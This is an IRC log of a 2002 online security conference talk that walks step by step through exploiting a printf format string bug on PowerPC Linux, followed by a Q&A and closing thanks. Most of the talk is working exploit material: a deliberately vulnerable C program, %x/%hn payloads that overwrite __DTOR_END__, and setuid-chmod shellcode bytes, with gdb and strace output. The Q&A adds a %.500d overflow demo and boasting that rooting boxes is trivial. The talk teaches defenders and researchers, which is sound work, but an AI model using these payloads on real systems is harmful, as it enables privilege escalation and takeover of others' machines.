| sarnold |
ok, time for
our final infosec presentation |
| sarnold |
KF has been
a bugtraq regular for years, usually workingw ith odd hardware or operating
systems |
| sarnold |
today he will
be presenting format string vulnerability information, I believe on big-endian
hardware |
| sarnold |
dotslash is
in #qc for questions, which he may or may not answer throughout the talk,
as he sees fit :) |
| sarnold |
dotslash:
go whenever you are ready :) |
| dotslash |
To introduce
myself ... I am Kevin Finisterre aka KF or dotslash@snosoft.com, I am co-owner
of Secure Network Operations |
| dotslash |
http://www.snosoft.com.
My day job intails working with various forms of backend databases and
ascii file formats used in credit card |
| dotslash |
and data processing
as well as research and development for our Linux based solutions in the
data processing arena. I work for Checkfree |
| dotslash |
Corp http://www.checkfree.com
as a Network Engineer / Data Conversion specialist. In my spare time I
head the Strategic Reconnaissance |
| dotslash |
Team aka recon@snosoft.com.
Today I will be talking about the generic exploitation of a format string
hole. I will walk you through the |
| dotslash |
exploitation
process on my PowerPC RISC machine. |
| dotslash |
great word
wrap |
| dotslash |
=[ |
| dotslash |
I am not familiar
with the format of this confrence as I have only seen jose's presentation.
I am big on interaction... so as I give the |
| dotslash |
presentation
I will pause beteen paragraphs to allow for a quick question... I would
like for everyone to follow along as we go rather |
| dotslash |
than get lost
up front and continue the entire lecture lost. If I see no immediate questions
I will continue talking. Don't hesitate |
| dotslash |
to ask me
to explain something further. If you don't understand that means someone
else doesn't either. Please be sure that I |
| dotslash |
am done typing
before you chime in however. We will have the standard Question / Answer
session after word as well. |
| dotslash |
Lets begin: |
| dotslash |
A generic
format string issue exploited on PowerPC RISC Hardware running YellowDog
Linux. |
| dotslash |
dotslash@snosoft.com |
| dotslash |
Here is a
vulnerable chunk of program code. It contains an error in the use of printf.
The printf function is called with no |
| dotslash |
"format operator" |
| dotslash |
main(int *argc,
char **argv) |
| dotslash |
{ |
| dotslash |
char buf[200]; |
| dotslash |
strcpy(buf, argv[1]); |
| dotslash |
printf(buf); |
| dotslash |
printf("\n"); |
| dotslash |
} |
| dotslash |
First we comple
the code by typing cc -o vuln vuln.c |
| dotslash |
The resulting
binary will be called vuln |
| dotslash |
an example
of the programs usage is as follows... as you can see it simply prints
data the the screen. |
| dotslash |
[root@localhost
/root]# ./vuln "hi uninet.edu" |
| dotslash |
hi uninet.edu |
| dotslash |
Because the
call to printf passed no format operators if there is an operator within
the user input passed to printf |
| dotslash |
it will get
interpreted as if the author of the code had included it in his own source. |
| dotslash |
One interesting
format operator is "%x" this will pop an address off the stack. For example
if you ran "./vuln %x" |
| dotslash |
you may see
7ffffb1f . This is some random address on the stack. You see this because
the call to printf interpreted the format |
| dotslash |
operator in
the user input which caused an address to print on the screen. |
| dotslash |
If you form
your request with some addtional input beyond normal format operators you
can locate that addtional input on the |
| dotslash |
stack using
the %x operator. |
| dotslash |
ere we use
AAAA and BBBB as the addtional input and 15 %x's as our format operator.
As you can see we have |
| dotslash |
41414141424242422578257825782578
printed on the screen. This is the data we passed the program on
its command line. The data was |
| dotslash |
sitting somewhere
in memory so we are able to acces it by abusing printf. |
| dotslash |
To help you
visually break the example down... 41 is hex for A and the 2578 is hex
for %x. You can also see several random addresses |
| dotslash |
printed along
with your data. |
| dotslash |
[root@localhost
/root]# ./vuln AAAABBBB`perl -e 'print "%x" x 15'` |
| dotslash |
AAAABBBB7ffffb1f7ffff8bd03000e1dc100005a07ffff9c87827ffff9c40041414141424242422578257825782578 |
| dotslash |
I used perl
above to type %x%x%x%x... multiple times for me. |
| dotslash |
There is an
alternate notation for format operators in the form of %offset\$value. |
| dotslash |
Note that
when using this notation %2\$x whould be the same as %x%x |
| dotslash |
(note the
\ is to escape the dollar sign and is not always needed) |
| dotslash |
Heres the
First 4 bytes in our string... remember in hex A is 0x41 |
| dotslash |
[root@localhost
/root]# ./vuln AAAABBBB%12\$x |
| dotslash |
AAAABBBB41414141 |
| dotslash |
Heres the
next 4 bytes of our string |
| dotslash |
[root@localhost
/root]# ./vuln AAAABBBB%13\$x |
| dotslash |
AAAABBBB42424242 |
| dotslash |
Heres the
first 8 bytes together |
| dotslash |
[root@localhost
/root]# ./vuln AAAABBBB%12\$x%13\$x |
| dotslash |
AAAABBBB4141414142424242 |
| dotslash |
The first
8 bytes are signifigant because they hold the addresses that we want to
write to. In the example above we would be writing to |
| dotslash |
0x41414141
and 0x42424242 |
| dotslash |
We will make
use of the "short" %hx operator shortly so lets make sure it works. You
should only see the last 2 byte of AAAA and BBBB |
| dotslash |
[root@localhost
/root]# ./vuln AAAABBBB%12\$hx%13\$hx |
| dotslash |
AAAABBBB41414242 |
| dotslash |
Now that we
have the located the first 8 bytes in our string we need to test if we
have the ability to write to the memory |
| dotslash |
location refrenced
in these bytes. To verify that we can write to memory we use the %n operator.
Generally if you use %n and the program |
| dotslash |
crashes then
you write to memory. |
| dotslash |
[root@localhost
/root]# gdb -q ./vuln |
| dotslash |
(gdb) r
AAAABBBB%12\$hn%13\$hn |
| dotslash |
Starting program:
/root/./vuln AAAABBBB%12\$hn%13\$hn |
| dotslash |
It segfaults
so we must have hit something... |
| dotslash |
Program received
signal SIGSEGV, Segmentation fault. |
| dotslash |
0xff171e8
in _IO_vfprintf (s=0xffe0530, format=0x7fffeb98 "\177ÿø\020\177ÿì(",
ap=0x7ffff880) at vfprintf.c:1785 |
| dotslash |
When you write
using the %n format you actually write the length of the format string
to memory. |
| dotslash |
On a RISC
based box I have noted from prior experience that the length of the format
string used is often stored in $r22 |
| dotslash |
Knowing the
length will be useful later on. In the example the length of our format
string was 0x8 bytes |
| dotslash |
You can see
this in gdb here... |
| dotslash |
(gdb) i r
$r22 |
| dotslash |
r22
0x8 8 |
| dotslash |
The reason
that this is important to us is because we can use the length to form a
valid memory address like 0x6969 for example. As it |
| dotslash |
turns out
that this address (the one we see at $r22) is eventually written somewhere
into memory. We also happen to control where. |
| dotslash |
Since we have
the ablilty to choose where we write and what we write we should prepare
for the exploitation process. We need an address |
| dotslash |
to overwrite
that will alter the programs execution path. |
| dotslash |
Following
in the footsteps of many others I am choosing to write to DTOR_END (part
of the ELF binary structure) |
| dotslash |
You need to
get the address of DTOR END so that you can overwrite it with your own
value later. DTOR_END is one of the last things to be |
| dotslash |
run before
a program finishes totally. Its part of the standard binary structure.
We use the nm command to get this address |
| dotslash |
[root@localhost
/root]# nm vuln | grep DTOR_END |
| dotslash |
100105d0 ?
__DTOR_END__ |
| dotslash |
What we do
now is change the first 8 bytes in our string to the address we found with
nm. We will need to write to 2 addresses. |
| dotslash |
DTOR_END and
DTOR_END+2. We will also make use of the "short" operator. The %h format
operator causes the operation to be "short". First |
| dotslash |
include in
your address string DTOR_END followed immediately by DTOR_END+2 or in this
case 0x100105d0 and 0x100105d2. After that you |
| dotslash |
need to use
the alternate notation and write out the locations of the first 4 bytes
followed by $x and then the second set of 4 |
| dotslash |
bytes followed
by $x. |
| dotslash |
(please note
that on an Intel box x86 you need to reverse your addresses due to the
"endianness" BIG vs Little endian.) |
| dotslash |
The $x allows
us to view the data that we are passing to the program at the offset we
choose. We need to verify |
| dotslash |
that we choose
the correct offset and that we can see the 2 addresses we want to pass
to the %n modifier. |
| dotslash |
[root@localhost
/root]# ./vuln `echo -e "\x10\x01\x05\xd0\x10\x01\x05\xd2"`%12\$x%13\$x |
| dotslash |
ÐÒ100105d0100105d2 |
| dotslash |
After we verify
this we need to make use of the "short" modifier ... this should thus only
print the last half of both of the addresses |
| dotslash |
we wish to
write to. |
| dotslash |
[root@localhost
/root]# ./vuln `echo -e "\x10\x01\x05\xd0\x10\x01\x05\xd2"`%12\$hx%13\$hx |
| dotslash |
ÐÒ5d05d2 |
| dotslash |
Now we need
to test the write ...change %hn to %hn to cause a write to the addresses
0x100105d0 and 0x100105d2 |
| dotslash |
We do this
inside of the gdb debugger so we can view memory as needed. |
| dotslash |
(gdb) r `echo
-e "\x10\x01\x05\xd0\x10\x01\x05\xd2"`%12\$hn%13\$hn |
| dotslash |
Starting program:
/root/./vuln `echo -e "\x10\x01\x05\xd0\x10\x01\x05\xd2"`%12\$hn%13\$hn |
| dotslash |
ÐÒ |
| dotslash |
You should
see a segv and you will notice the address is 0x80008 or 0x00080008. This
address is made up of the length of each "write" |
| dotslash |
concated together. |
| dotslash |
Program received
signal SIGSEGV, Segmentation fault. |
| dotslash |
0x80008 in
?? () |
| dotslash |
A "write"
is composed of a string of data and a "%n" or in the case of a short write
a "$hn" |
| dotslash |
If you remember
we choose to write to the address of DTOR_END or 0x100105d0 if you note
the first address in DTOR_END |
| dotslash |
is now 0x80008.
This means that we control exactly what the program does LAST just prior
to finishing execution. |
| dotslash |
Here is a
look inside of gdb debugger that shows this. we are printing the values
stored at the address we chose to write to. |
| dotslash |
(gdb) x/10a
0x100105d0 |
| dotslash |
0x100105d0
<__DTOR_END__>: 0x80008 0x4e800021
0x100105e8 <_DYNAMIC> 0x0 |
| dotslash |
0x100105e0
<_GLOBAL_OFFSET_TABLE_+8>: 0x0 0x0
0x1 0x10 |
| dotslash |
0x100105f0
<_DYNAMIC+8>: 0xc
0x10000300 <_init> |
| dotslash |
ets play with
that 0x80008 address a bit more. We know that we control the address that
we write based on the length of the format |
| dotslash |
string we
provide. We will change the last half of the address a little by adding
length with %.20d. This adds 20 bytes |
| dotslash |
in length
to the string. Read the manual page on printf to see other useful format
operators and ways to make the string longer. |
| dotslash |
This example
is just to show How we are forced to manipluate the address by changing
the length. |
| dotslash |
(gdb) r `echo
-e "\x10\x01\x05\xd0\x10\x01\x05\xd2"`%12\$hn%.20d%13\$hn |
| dotslash |
The program
being debugged has been started already. |
| dotslash |
Start it from
the beginning? (y or n) y |
| dotslash |
Starting program:
/root/./vuln `echo -e "\x10\x01\x05\xd0\x10\x01\x05\xd2"`%12\$hn%.20d%13\$hn |
| dotslash |
ÐÒ00000000002147482378 |
| dotslash |
Note how some
of the address changes. |
| dotslash |
Program received
signal SIGSEGV, Segmentation fault. |
| dotslash |
0x8001c in
?? () |
| dotslash |
Here me make
both halves change... we control both halves of the address written independantly
of eachother. This is due to the short |
| dotslash |
write method
we choose to use. |
| dotslash |
(gdb) r `echo
-e "\x10\x01\x05\xd0\x10\x01\x05\xd2"`%.2d%12\$hn%.20d%13\$hn |
| dotslash |
The program
being debugged has been started already. |
| dotslash |
Start it from
the beginning? (y or n) y |
| dotslash |
Starting program:
/root/./vuln `echo -e "\x10\x01\x05\xd0\x10\x01\x05\xd2"`%.2d%12\$hn%.20d%13\$hn |
| dotslash |
ÐÒ214748237800000000002147481764 |
| dotslash |
Program received
signal SIGSEGV, Segmentation fault. |
| dotslash |
0x120024 in
?? () |
| dotslash |
lets stick
some shellcode on the stack and try to write to a REAL address. We use
some standard shellcode doing chmod 4755 /tmp/sh... we |
| dotslash |
will stick
it in the enviornment with the other variables. |
| dotslash |
[root@localhost
/root]# export RET=`echo -e |
| dotslash |
"\x7c\xa5\x2a\x78\x40\x82\xff\xfd\x7f\xe8\x02\xa6\x3b\xff\xfe\x94\x38\x7f\x01\x90\x90\x61\xff\xf8\x3b\xc0\x13\xda\x7f\xc4\x0e\x70\x3b\xa0\x1f$[root@localhost
/root]# echo $RET |
| dotslash |
|¥*x@ÿýè¦;ÿþ8aÿø;ÀÚÄp;
ÿ NpDÿÿ/tmp/sh |
| dotslash |
After searching
on the stack with gdb we find our shellcode mixed amongst some other variables. |
| dotslash |
0x7ffffd58:
"MACHTYPE=powerpc-yellowdog-linux-gnu" |
| dotslash |
0x7ffffd7d:
"KDE_MULTIHEAD=false" |
| dotslash |
0x7ffffd91:
"MAIL=/var/spool/mail/root" |
| dotslash |
0x7ffffdab:
"INPUTRC=/etc/inputrc" |
| dotslash |
0x7ffffdc0:
"RET=|¥*x@\202ÿý\177è\002¦;ÿþ\2248\177\001\220\220aÿø;À\023Ú\177Ä\016p;
\037ÿ\177 NpDÿÿ\002/tmp/sh" |
| dotslash |
0x7ffffdf8:
"BASH_ENV=/root/.bashrc" |
| dotslash |
The address
we need to write is 0x7ffffdc0+4 you can see above that the "RET=" starts
the shellcode and its address is 0x7ffffdc0 we add |
| dotslash |
4 to make
up for the letters RET=... |
| dotslash |
we will write
this address in 2 pieces... 7fff and fdc4. We need the decimal value of
both halves |
| dotslash |
32767 is 0x7fff.
We need to subtract 8 bytes from the first half of our address also. This
is because we already wrote 8 bytes with our |
| dotslash |
first $hn.
32767 - 8 is 32759. If you remember from above you can use %.XXXd
where XXX = the number of bytes to adjust each half of the |
| dotslash |
address to
your liking. |
| dotslash |
(gdb) r `echo
-e "\x10\x01\x05\xd0\x10\x01\x05\xd2"`%.32759d%12\$hn%13\$hn |
| dotslash |
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000$Program
received signal SIGILL, Illegal instruction. |
| dotslash |
0x7fff7ffc
in ?? () |
| dotslash |
Next we need
to write to the second half with fdc4 we don't need to write as manny
bytes this time though. We write to the address |
| dotslash |
calculated
by addr2 - addr1. |
| dotslash |
fdc4 - 7fff
= 32197 |
| dotslash |
Lets test
this out in gdb... Remember we now have shellcode on the stack and we are
overwriting the programs cleanup functions with the |
| dotslash |
address of
our shellcode. So when the program SHOULD be exiting it will be chmoding
instead. |
| dotslash |
(gdb) r `echo
-e "\x10\x01\x05\xd0\x10\x01\x05\xd2"`%.32759d%12\$hn%.32197d%13\$hn |
| dotslash |
... |
| dotslash |
00000000000000000000000000000000000000000000000000000000000000000000000000000000002147481755 |
| dotslash |
I had to hit
ctrl c because it hung ... |
| dotslash |
Well nice
heres the address we chose to write to... I wonder what happened. |
| dotslash |
Program received
signal SIGINT, Interrupt. |
| dotslash |
0x7ffffdc4
in ?? () |
| dotslash |
Check out
DTOR_END and we see that we overwrote it for sure. |
| dotslash |
(gdb) x/10a
0x100105d0 |
| dotslash |
0x100105d0
<__DTOR_END__>: 0x7ffffdc4
0x4e800021 0x100105e8 <_DYNAMIC>
0x0 |
| dotslash |
0x100105e0
<_GLOBAL_OFFSET_TABLE_+8>: 0x0 0x0
0x1 0x10 |
| dotslash |
0x100105f0
<_DYNAMIC+8>: 0xc
0x10000300 <_init> |
| dotslash |
AS you can
see DTOR_END now points to our shellcode location or 0x7ffffdc4 |
| dotslash |
Lets test
this outside of gdb |
| dotslash |
[root@localhost
/root]# ./vuln `echo -e "\x10\x01\x05\xd0\x10\x01\x05\xd2"`%.32759d%12\$hn%.32197d%13\$hn |
| dotslash |
... |
| dotslash |
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000$Illegal
instruction (core dumped) |
| dotslash |
Lets debug
this with strace now to see why it failed. |
| dotslash |
[root@localhost
/root]# strace ./vuln `echo -e "\x10\x01\x05\xd0\x10\x01\x05\xd2"`%.32759d%12\$hn%.32197d%13\$hn |
| dotslash |
execve("./vuln",
["./vuln", "ÐÒ%.32759d%12$hn%.32197d%13$hn"], [/* 32 vars */])
= 0 |
| dotslash |
... |
| dotslash |
write(1, "\20\1\5\320\20\1\5\322000000000000000000000000"...,
1024ÐÒ0000000000000000000000000000000000000000000000 |
| dotslash |
... |
| dotslash |
00000000000000000000000000000000000002147481755 |
| dotslash |
) = 453 |
| dotslash |
chmod("",
04755)
= -1 ENOENT (No such file or directory) |
| dotslash |
--- SIGILL
(Illegal instruction) --- |
| dotslash |
Some how my
shellcode got messed up a bit... But you can see that OUR shellcode ran
for sure based on this line chmod("", 04755) |
| dotslash |
This means
for the most part with maybe an hours more work this program would be totally
abused... The attacker needs only to sort |
| dotslash |
out the errors
in his shellcode. |
| dotslash |
the program
ran chmod instead of DTOR_END to clean itself up |
| dotslash |
the program
is effectively under our control |
| dotslash |
We have prooven
that you can abuse a printf call when the author fails to supply a format
operator by supplying your own within your own |
| dotslash |
operators.
You have the ability to then view memory or write to it. You have the ability
to choose where you write to as well as the |
| dotslash |
value that
you write. This opens up almost limitless possibilities. I opted to abuse
the structure of an elf binary ... perhaps you |
| dotslash |
would choose
to overwrite the address for the printf() call... then when printf("\n")
was called the shellcode would have run. Again |
| dotslash |
there are
almost infinate possibilites at this point. |
| dotslash |
As a programmer
you need always to remember do not allow user input to be passed to printf() |
| dotslash |
I hope this
helps you understand the exploitation process involved in *printf() style
abuses... I am now open for questions for those |
| dotslash |
of you that
need some more input. #qc I believe? |
| dotslash |
-KF |
| sarnold |
clap clap
clap clap clap clap |
| sarnold |
clap clap
clap clap clap clap |
| sarnold |
clap clap
clap clap clap clap |
| sarnold |
clap clap
clap clap clap clap |
| jose_n |
clap clap
clap clap clap clap |
| jose_n |
clap clap
clap clap clap clap |
| jose_n |
clap clap
clap clap clap clap |
| jose_n |
clap clap
clap clap clap clap |
| viZard |
plas plas
plas plas plas plas plas plas |
| viZard |
plas plas
plas plas plas plas plas plasç |
| viZard |
plas plas
plas plas plas plas plas plas |
| viZard |
plas plas
plas plas plas plas plas plas |
| jose_n |
clap clap
clap clap clap clap |
| sarnold |
dotslash:
this is the best formatstring guide I've seen :) pretty cool |
| viZard |
plas plas
plas plas plas plas plas plas |
| pask |
Great |
| jose_n |
10x! |
| dotslash |
sarnold flattered
my man |
| sarnold |
dotslash:
I don't for a second think I will be writing sploits with the best of them,
but still worth study :) |
| cronos |
perl -e 'for
(;;){ print(" clap clap clap /n"); };' |
| dotslash |
I actually
think they are almost easier than buffer overflows |
| sarnold |
dotslash:
given that it is occasionally useful to allow end-users to supply format
strings, what options do you think programmers have? |
| dotslash |
if you are
going to allow them to be passed by the user you need to make sure to filter
the heck out of what you allow ... |
| dotslash |
or find a
programatical way to only pass certain modifiers |
| dotslash |
I am honestly
not a C programer I am only familiar with the methods of abusing the poor
use of the function |
| sarnold |
lol |
| dotslash |
I believe
bighawk and I just had this conversation |
| dotslash |
=]] |
| dotslash |
I am a java
nut |
| sarnold |
really? :) |
| dotslash |
I write most
of my exploits in java |
| bighawk |
Java, *shrugs* |
| cronos |
i think that
perl -T helps a lot with that, no? (not really an expert in this topic) |
| sarnold |
java the language
seemed nice to me, but programming in it .. it just takes all the fun out
of programming, for me :( |
| dotslash |
http://dotslash.def-con.org/cmdlnex.java |
| bighawk |
cronos: for
what? |
| cronos |
to check user
strings |
| jose_n |
taint mode |
| cronos |
or make you
check user string, i shoudl say |
| dotslash |
-T if taint
I think? |
| dotslash |
yeah |
| sarnold |
cronos: which
is great for perl code .. :) |
| cronos |
jose_n yep |
| dotslash |
any suggestions
for C programmers anyone? |
| sarnold |
cronos: and
when used properly :) |
| cronos |
sarnold especialy
CGI's |
| bighawk |
well, can
perl formatstrings be abused that way? |
| dotslash |
I don't believe |
| bighawk |
no, they can't
i think |
| sarnold |
dotslash:
<plug> formatguard </plug> :) |
| dotslash |
hahaha |
| bighawk |
nice thing
about format strings is, that they are much easier to spot than other kinds
of problems |
| sarnold |
(though I
must admit, I am getting mighty frustrated at formatguard ... I am having
trouble getting some C++ code to compile with it.... :) |
| dotslash |
grep printf
. -r |
| dotslash |
grep syslog
. -r |
| sarnold |
dotslash:
then find the transitive closure of all functions that call those functions
and accept varags as input.... |
| jose_n |
dotslash:
not always true |
| dotslash |
I do things
by hand usually |
| dotslash |
I actually
look through grep |
| dotslash |
then go through
the src |
| jose_n |
new functions
which may call printf() stuff raw |
| bighawk |
sarnold: can
be automated quite easily |
| jose_n |
happened in
wu-ftpd |
| bighawk |
sarnold: automatic
detection of such things should be much easier than for other issues |
| dotslash |
there are
a lot of flawfinder type tools that arent too bad at locating stuff like
that |
| cronos |
aren't there
better (as in safer) option to do what printf() does? |
| jose_n |
$ czech vuln.c |
| jose_n |
initializing
czech 0130-04082002 in /tmp |
| jose_n |
scanning vuln.c
... |
| jose_n |
line 4: possible buffer overflow in strcpy |
| jose_n |
line 5: unformatted string in printf |
| jose_n |
<smirk> |
| dotslash |
=] |
| * sarnold ^5s jose_n :) |
| dotslash |
yeah |
| bighawk |
heh |
| dotslash |
you can exploit
that program 3 ways |
| dotslash |
standard buffer
overflow |
| dotslash |
%.200d
style buffer overflow |
| dotslash |
or pure format
strings |
| sarnold |
%.200d ? i'm
not familiar with that .. |
| dotslash |
well if you
do like %.200d and it makes a string of 200 zeros |
| cronos |
u know, when
i saw jose's posts in sardonix i knew (by instinct) that the mas was up
to something good : ) |
| dotslash |
then it would
fill the buffer |
| dotslash |
its just like
a normal buffer overflow but the format string helps you out |
| dotslash |
you can use
%.200d instead of 200 filler chars like nops |
| sarnold |
dotslash:
ah, to cut down on nulls or similar in code? |
| dotslash |
yup |
| sarnold |
neato :) |
| jose_n |
cronos: <smirk> |
| dotslash |
progress jvmStart
post |
| jose_n |
very very
cool |
| dotslash |
is an example
of that |
| dotslash |
let me look
real quick for it |
| *** KAROLINA has joined #infosec |
| dotslash |
Starting program:
/home/dlc/bin/./jvmStart %.500d |
| dotslash |
completed |
| dotslash |
Error parsing
file to execute: (-0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000Unknown
error 825241648Unknown error 825241648 |
| dotslash |
Program received
signal SIGSEGV, Segmentation fault. |
| dotslash |
0x30303030
in ?? () |
| dotslash |
(gdb) i r |
| dotslash |
eax
0x6 6 |
| dotslash |
ecx
0x3 3 |
| *** KAROLINA has left #infosec |
| dotslash |
edx
0xffffffff -1 |
| dotslash |
ebx
0x804e2dc 134537948 |
| dotslash |
esp
0xbffff2e4 0xbffff2e4 |
| dotslash |
ebp
0x30303030 0x30303030 |
| dotslash |
esi
0xbffff308 -1073745144 |
| dotslash |
edi
0xbffffb38 -1073743048 |
| dotslash |
eip
0x30303030 0x30303030 |
| dotslash |
30 is zero
in hex |
| sarnold |
:) |
| dotslash |
so you exploit
it like a standard buffer overflow |
| dotslash |
find the length |
| dotslash |
subtract 4 |
| dotslash |
plop the new
return address down |
| dotslash |
and viola |
| dotslash |
root |
| bighawk |
who says root? |
| dotslash |
well maybe
a little more to root |
| dotslash |
but haha |
| sarnold |
yeah, once
one has any account, root usually isn't too far off |
| dotslash |
rooting boxes
is so trivial |
| bighawk |
not on openbsd! |
| sarnold |
lol |
| jose_n |
:P |
| viZard |
I´d
like to say something...... |
| viZard |
First of all.
i´d like to thank all presenters for sharing their time and knowledge
with us :-) |
| viZard |
also to translators
for helping us to mantain different versions of talks |
| jose_n |
yes, these
talks have been very very good! |
| * cronos I would like to make
a note here, that no one has worked harder to make this conferences possible
as Frank Santana (vizard), special thanks to Seth Arnold, he had the big
connections and a good vive : ) |
| viZard |
to UniNet
founders for create such a great network |
| sarnold |
amen, the
translators did a wonderful job :) |
| viZard |
and all the
people who made this happen |
| viZard |
Thank you
David Correa for having this great idea, Seth Arnold, Maria Jesus Coma,
Fernando Tricas, |
| viZard |
Cesar Perez,
Manuel Pascual, Ismael Briones, Rik van Riel, Jose Nazario, all latin comunity,
and many many others. |
| jose_n |
clap clap
clap to the organizers and translators! |
| dotslash |
cheers to
that |
| viZard |
Thank you
all for been here during this week, we got almost 500 official suscribers
but i know they were may more. |
| sarnold |
(well, I _think_
they did, I don't know their respective languages well.. :) |
| viZard |
Thank you
for make InfoSec 2002 a succes :D |
| jose_n |
thank you
for your hard work, this has been great! |
| jose_n |
clap clap
clapclap clap clapclap clap clapclap clap clapclap clap clapclap clap clapclap
clap clapclap clap clapclap clap clap |
| pask |
plas plas
plas plas |
| cronos |
clap clap
clap clap (uff i think i like perl better =) |
| viZard |
plas plas
plas plas plas plas plas plas plas |
| viZard |
all is here
! |
| viZard |
thank you
all :-) |
| jose_n |
take a bow,
viz/sarnold/mjesus/oroz/etc |
| all |
for what?? |
| dotslash |
and just for
shits and giggles |
| dotslash |
while true
; do echo clap ; done (wait a sec then ctrl |
| dotslash |
c) |
| dotslash |
heh |
| cronos |
i laso want
to say that i noticed that as the # of people grew smaller, the quality
of the people here got better |
| sarnold |
:) |
| cronos |
opps s/laso/also |
| bighawk |
cronos: referring
to me? :) |
| cronos |
he he |
| viZard |
all, for been
here ;-) |
| cronos |
bighawk there
is always a troll, juzz joking : ) |
| viZard |
:) |
| cronos |
well, i do
have mundane choirs |
| cronos |
my wife has
a lot of patience, but she is reachin the limit |
| sarnold |
cronos heheheeh
:) |
| sarnold |
cronos --
see you monday, probably |
| cronos |
sure |
| cronos |
cia all |
| jose_n |
l8r |
| MJesus |
the great
INFOSEC! |
